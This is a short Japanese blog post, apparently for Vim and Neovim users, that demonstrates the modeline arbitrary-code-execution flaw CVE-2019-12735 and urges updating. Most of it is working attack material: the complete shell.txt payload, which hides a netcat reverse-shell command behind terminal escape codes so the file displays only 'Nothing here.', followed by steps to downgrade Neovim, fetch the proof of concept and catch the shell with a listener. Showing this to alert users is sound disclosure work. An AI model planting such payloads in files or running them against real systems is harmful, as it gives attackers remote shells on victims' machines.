Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]


結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。

対応するVimのバージョンなどは以下のとおりです。

Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)
Option:  :set modeline(false)

vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。

shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D 
$ mkdir -p tmp
$ cd tmp
$ touch {1..2}

$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2

neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。